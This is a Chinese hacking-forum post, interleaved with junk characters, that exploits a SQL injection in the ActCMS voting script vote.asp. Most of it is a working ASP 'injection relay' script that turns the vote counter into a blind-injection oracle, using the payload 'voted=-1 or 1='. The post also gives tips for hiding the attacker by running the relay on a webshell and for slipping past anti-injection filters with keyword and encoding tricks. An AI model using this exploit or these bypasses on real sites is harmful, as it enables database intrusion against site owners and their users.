! N) k: U. a3 E' r
看到ninty大牛的blog的一篇文章4 w$ L9 f% I* x
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
, h( E# g5 t4 ?4 I/ V, O! ?5 z; m* |$ I关于actcms漏洞的利用 by 3x qq:381862589" A: ]/ ?3 i- k& C7 C1 [6 O0 ]1 N3 @
转载请注明以上1 p0 m8 [- K* \/ Y9 [! t2 D
漏洞文件:- x* n( I* O1 E* v. m
/plus/vote/vote.asp. g0 v4 f A/ ~+ c
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
( j: L5 E5 h5 P: s* E8 R1 B: q5 Z V# a: Z; ]- o& W5 c
2 response.write "<script>alert('请选择投票项目。');window.close()</script>" 2 m! Y$ i9 r: D
. I B" W; x2 y5 k1 X3 response.end
1 V# B( @3 r: e- g3 l& a3 _( C6 G4 S- R5 J) {% W+ j
4 end if
9 I0 v2 s8 v. W* G; L8 A3 x2 H' C. e5 }
5 for i=1 to request("voted").count 6 m: }; f# g9 c) F; S
# b; `2 Z0 L+ ^2 E q4 U# @
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
4 K8 r' }2 H+ o& U7 q: ]
& |8 `8 b. U: m7 N' B7 next ; Z- A3 f3 j% j) \' _" a
8 i, ~ o! E- S
8.... * H% m4 e6 y4 y9 R6 j4 Y' S
+ L; p& w( C7 J# e. [' @5 a7 w ^& T5 R
9response.Redirect "index.asp?id="&id&"" ) v! g- V9 A, D1 A( Z% M2 H
投票结束回跳转回index.asp这个投票结果页面6 b' y. }4 a* ^8 ?7 x! G8 x' |
如果投票成功票数加12 s0 }$ Z2 M0 f
失败票数不变. K0 f; q4 k5 g8 X2 b% [" N2 @
如图:
4 ]7 K$ I) ~- ?9 B- C1 c3 A7 ~3 Jhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
2 F" R. I4 P9 R" a: x2 Q! ]6 j- b$ @" K- T% g& E3 x( m: B$ L
2009-12-27 13:20
' T/ k6 C8 G- U' q+ ]9 n0 o
6 ~1 j, O# l2 @& N利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
/ j* S( |& U: v: x( h! q# J/ N$ n6 C5 Y# o! v
本帖隐藏的内容需要回复才可以浏览0 J% [ z! }1 l' [) \; ]! y
我们用注入中转来实现这个注入具体代码如下:; i# z% v3 f0 r! W
先用寂寞的刺猬大牛的注入中转生成jmget.asp
2 G7 N) d' l: C3 t1 X2 B, u" @注入地址:http://localhost/actcms/plus/vote/vote.asp
6 V/ O7 _/ j7 S* z+ C/ }& a注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项+ P; j6 S% G" M d+ x4 i) M
. D ~0 D! Q' g然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 8 V- _ ^5 `! }" g0 x$ d& F
1 x0 D7 ]0 K* V- I+ D6 w
02JmdcwName=request("jmdcw")
% g: _8 @: w2 J
- `# c2 g _$ p$ E03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
& k5 C# J: f, p( L% k7 Y* Y G
% }$ R! b( D3 D! T( @) o+ _04JmStr="id=1&voted=-1 or 1="&JmdcwName
2 [$ d( k8 C5 L! a" Q" x+ o+ d6 ?" O8 A% Q' B% q
05JmStr=URLEncoding(JmStr) 7 [! P+ I, d) f6 g
a5 J4 I; N7 f: E
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"$ |" t, v% ?9 w9 {! [/ I
, G( q# n! l7 y" f( ^7 C- a07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
1 K+ @1 h. f6 f5 G. Q P0 _4 F) A! N7 P7 o# I
08testurl=testurl & "?" & JmStr
C& b; c$ i' \ _" `4 e5 P# D2 z. z2 _' F. F
09JMUrl=JMUrl & "?" & JmStr
5 X9 H7 S1 \1 |% [# V9 q& e8 m' Z
. t3 f, {6 |7 g( u9 G9 B# d) s- Q10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp") A5 h8 @# _8 n: Q% f
: B& @9 @! q3 U( n7 r
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"% y0 V- Y6 O }: w
, |9 B" f4 C6 Y$ t$ e& K9 G12JmCok=replace(JmCok,chr(32),"%20")
3 m2 g4 I6 e& ~
- l4 x/ R+ g/ Q' c: E+ U5 f# k13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
+ G& n( {4 m! G' c& A) _$ e- t. D* T1 `/ R, j, ?
14 ( K M0 c3 q7 G+ E: P4 G
! E) Z$ b- F4 A$ N' R2 q- r6 @" X1 @
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
* i. l1 A- I; `7 P* C' Z
2 w5 }, x) d4 k, R1 A4 P* l16 3 a- I, a$ Y( `& e* b8 ?
: g: Y" {. F5 t' F ^) q$ B17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
l, H1 N, w: \* B+ |/ R. G/ a
4 I5 C$ y8 G1 H+ @. `+ U18response.write test1&""&test2&""
) D+ A/ }6 {5 I, [& _2 u# ?. C# a$ A2 C- G7 n) Y! F
19 9 N: F8 ^) C& f$ I [, b
% d' ~/ { y6 j5 S20if test1=test2 then '如前后记录相等,表示失败 ; Y! H# N% ? t) _6 `3 n! ^, \
) _8 W* d" U7 \7 O" W21 response.write "failed"9 D8 }7 u+ F2 s
3 m6 ?. x8 _3 T& L; C22else + j+ Q1 J$ @! V2 X6 ]: b
, g0 C# q6 t' E: F
23 response.write "succeed"
6 O: N) [. s1 m; S& p" o- p2 L) m2 j* _; g1 O
24end if
( `. F4 x9 I N( U/ m6 Y& T$ t9 [! K: Q4 j7 q+ {; X
25 , m% p- _0 p/ J# ^4 {% _0 ^
* K1 d1 l& h+ R5 [" R+ [26response.write "by 3x"
# M5 M4 ]! Y/ Z4 Y2 |' ]7 \" u6 x$ M. @! a4 C3 [
27
6 ]' ~" O9 u2 _1 i. `
" k8 H" ~1 Q. x: D28 0 N8 G' m. v1 H! \! H7 c% e) Z
7 j7 M/ [/ ? g2 ], I. Q D
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
" c+ t' w: b; ~# c* R. t* t
' e% Y% ?; p6 r; ]' H7 ? z9 b30Dim Http x3 x9 e9 N {, |# ]3 E
# S% X9 ~9 |: s31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 5 I8 O P; R' L5 h
9 M" j Q$ \ \5 }( S9 y- y
32With Http
7 L7 x( g, s S! E5 h; q# U- H
5 Q# q& U$ Q" _33 j, X5 m+ B, O$ f7 }* @; Y; i
7 c$ V9 e) H3 h+ W34.Open "GET",PostUrl,False& g5 ~4 x6 T. g# W
" {7 L. `) a }+ ]- ]
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
1 i. B3 a5 S2 ^( M9 @0 v$ G6 M
) v: ^( F+ m' z, X: e* ]4 {36.SetRequestHeader "Referer",PostRef 0 J! [( r$ Y0 S; v% W& w
# n8 d9 h: b9 [1 y4 }* g37.SetRequestHeader "Cookie",PostCok / E; g3 t% e6 p7 d, a
6 J* I* }1 l6 h6 \
38.Send ()
& i$ f# l4 E' x( a" }: ^$ h _
0 G" g' a8 A3 q39PostData = .ResponseBody
" r0 L' b' r9 e/ A K8 l- Z# T' z3 C g& \! D( c
40End With
) d; N' [* `" R) d; f2 w5 u+ O1 O! ^8 h; R6 o. a2 h& d5 Z
41Set Http = Nothing
# \/ p+ e, ~. I0 s% K6 a3 O1 h' L7 T4 s2 i/ R. [# S. ^. H* Z
42PostData =bytes2BSTR(PostData)
% R) l, i! F% a# ]# S& A6 I9 x
$ `/ F4 k8 S. m# T/ h43End Function% U) ?2 Y. T) F) a7 [* b
6 w6 \! {, p% r9 c2 I44 / J: h; q6 s( `: o; q# a# l
* u! h2 t _+ ]2 }6 t5 q' l
45
, u5 m: H! J. `3 }
2 X$ b2 m) u j46Function bytes2BSTR(vIn)
; j) j D/ u. i- {
. b6 b5 A3 Y% P8 _1 B0 J4 A6 B; T47Dim strReturn
/ y& S$ U6 Q0 d" r+ W9 r9 n9 ~3 J1 t( R6 T4 j
48Dim I, ThisCharCode, NextCharCode ( j* ]7 O; L6 q ^
[: K3 j- J/ d. ]/ v- u
49strReturn = ""5 V) R3 P: ?; y4 @
/ D1 f( x c, L
50For I = 1 To LenB(vIn)
8 p2 O3 `% f# \% Q, \9 J: U) U% {: N" _2 t0 S: e/ U- D# X" n4 X6 p, V
51ThisCharCode = AscB(MidB(vIn, I, 1))
2 l3 }- b& q) f& X: l* S
5 y X( Q# l5 c7 z2 ^) A7 [52If ThisCharCode < &H80 Then$ Q# v. R9 |& Y8 a) X8 R) |
# O9 Q. V t- \7 [, e$ n53strReturn = strReturn & Chr(ThisCharCode)
7 }5 W2 F$ @* g; D T* N
1 E! i/ c: u5 y/ w* s54Else
/ X8 f, S2 W: a. r- }7 _! k' t- X1 b! ?
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
* Z N9 @1 v( B+ X# q3 B! K9 E3 Y+ g+ k( q0 M0 K0 ^
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
4 j( `5 ?& O8 v' R8 J) \0 i+ {2 d2 d* i3 h/ B
57I = I + 1 5 N! y& h8 ]9 O& P$ P
' z5 X* K9 D% T* ^. A
58End If8 i9 w4 q# {1 D* U; O
/ {4 o8 v, ]+ N* E
59Next
+ H& k& f/ ^+ i9 M. j" p0 ?# |0 g4 I% B9 }/ y6 y+ ^
60bytes2BSTR = strReturn
+ u' M7 r7 j2 r0 K$ C/ `) V3 r1 s6 h B& y2 r( `
61End Function) _$ t* \" [4 [3 i$ y
- o( _8 Z# N0 m! G. C( q62 c2 G$ Y1 R, ^ O, P& P9 E
' p- Z% L( W: C2 G+ i& j2 w$ e63Function URLEncoding(vstrin) # v7 \% X( \1 a0 |9 h! c
& f4 w2 f* T$ U; k
64strReturn=""4 e, Z) R: m i) N4 U
% Q+ b# O3 d1 Z/ Y, b2 ]7 A65Dim i
! v* I: T6 X3 Q3 i
: C3 j2 ^2 u# u- U P4 u66For i=1 To Len(vstrin) " N, Z# t! ^9 H
4 R- Y8 y' S) M6 L6 K0 I
67ThisChr=Mid(vstrin,i,1)
7 i3 y9 n/ g+ F0 w5 z1 E
) {: A1 S* R1 h% x2 [68if Abs(Asc(ThisChr))< &HFF Then
1 r) v/ d8 s6 M$ ]% U( x5 ~( t4 P: U! R+ E
69strReturn=strReturn & ThisChr ! Z( T7 G" h$ v/ L/ o+ T+ i2 T
' S% E6 e0 |, s# s70Else
y% r1 I4 G$ s6 @' r3 {, F' N; o
71InnerCode=Asc(ThisChr) H0 J8 x2 D/ [( @4 t
5 E4 Z' x* J! Q( H72If InnerCode<0 Then
( g! e" G- a) Z% q9 C5 r+ G5 \5 _' n# k
73InnerCode=InnerCode + &H10000
/ f9 t. h7 D: u( p" Y) \0 u" |' T7 g3 ~ l$ g
74End If
+ V1 C5 U- f# `5 i X% ?1 `' y& V( _$ x8 H2 m# s
75Hight1=(InnerCode And &HFF00) \&HFF
% N! @4 G) E7 p' d! Z I. W. ^) E0 h9 \+ k9 e5 j2 t
76Low1=InnerCode And &HFF
: R3 w8 k* ?/ [; c: S ?8 J/ t
3 r) |" v/ T& W. |77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 0 t# C; P# A, R5 {- | E
* d3 v. n# d; O9 l78End if
; N# z' o3 W* j) B$ Q
g. F# t; r% |" T7 l79Next. m- G4 W) d4 H: N- t2 O& q8 ?
6 @1 j, E# N; m3 ~" w4 E6 l* [
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 9 j. p# f' X. y
& G& l! W/ j& G u
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 # Y3 F0 H$ ^" ^0 f
) R/ j& B( y/ I. ^. n4 k5 M7 ^$ }
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
$ C9 D$ }) m J0 S- m; m" \) \5 R
$ n+ w( C# x- H3 }; Q, e- L7 `) r83URLEncoding=strReturn
6 L+ C0 N+ g2 Y+ r* o( v5 e4 A# S2 k) ~8 G
84End Function) ]( ^0 a6 o/ `& ?7 U$ O
3 a- ^) m+ c1 h5 p6 z7 U! ~, A, n( s
85
0 ?. w2 e# N0 ?1 L$ N' k+ w V7 I- Q/ }! G
86function getSt(body) ; K6 a8 F+ b1 ~% Y
2 s2 [" D3 f0 g5 ^; p( j; \5 e4 w
87 startpot=instr(body,"投票人数:")+len("投票人数:") * h8 R1 x# k8 }2 o: V* L
& G7 X; s' v" S* y1 R
88 endpot=instr(startpot,body," ")
0 E" I- h& c6 |$ x9 L/ [! \ P+ Y* G) s% o7 R
89 getSt=mid(body,startpot,endpot-startpot)
3 A( f5 o8 ?! a$ F! [6 W/ K6 E4 P, ]0 p3 U- m
90end function
# w0 K5 m7 {6 h& c4 i# g
8 Y, I. T. e& ?2 Z) A# e" d: j9 e$ {91%> P; J, F u# L) D. F% X. ] s( q7 q
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
! N3 u; P9 ?0 c0 a( }2 K9 Q测试下效果:# r f. u6 l6 K9 }, n6 f
投票成功:- q( O# |# P. U Z7 ~( j( E2 i. J" u
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)/ t$ }1 R9 H. c8 ?9 |7 {
4 v$ w( _$ K* x! y
2009-12-27 13:29
* L, {7 i* B/ c# W/ Q投票失败
' }) b2 I$ Z0 l% V6 v. ~& q# H' Khttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB), {) z* R! V4 W! \& M! J! s
7 `" ~8 `) ?3 x; m6 T* z: B7 V7 t2009-12-27 13:29
j" i4 o- L" Z7 @5 d-------------------------------------------------------------------------------' | Y0 z) s$ A* W! p I% L
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
) \: J8 X4 s8 B% _* L7 o! c很抱歉。。。只能用单线程工具去注入。。。。。
6 S' X/ v" _: O8 _& z! {- j, s所以失败。。。不好意思。。。
n }8 N, Y5 Z; m-------------------------------------------------------------------------------$ |/ q& X+ H" a) a7 F
- o3 D6 p4 K0 g9 q5 l5 G* F注入中转的一些其他应用
1 W$ X- p5 q/ E其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
: L X# }: F* @0 j" l1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id* F+ q5 Q: M7 X( \- C! r5 l8 H, I
2.post注入转成get型的注入,方便我们使用工具来跑
4 P& g0 o; |, S0 B. o2 N6 X7 t3 `% \. m- q3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")4 A( y, x/ P( Q
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
3 |2 f4 }; [, q4 v5 y* A. h/ s+ {3 I c- v
|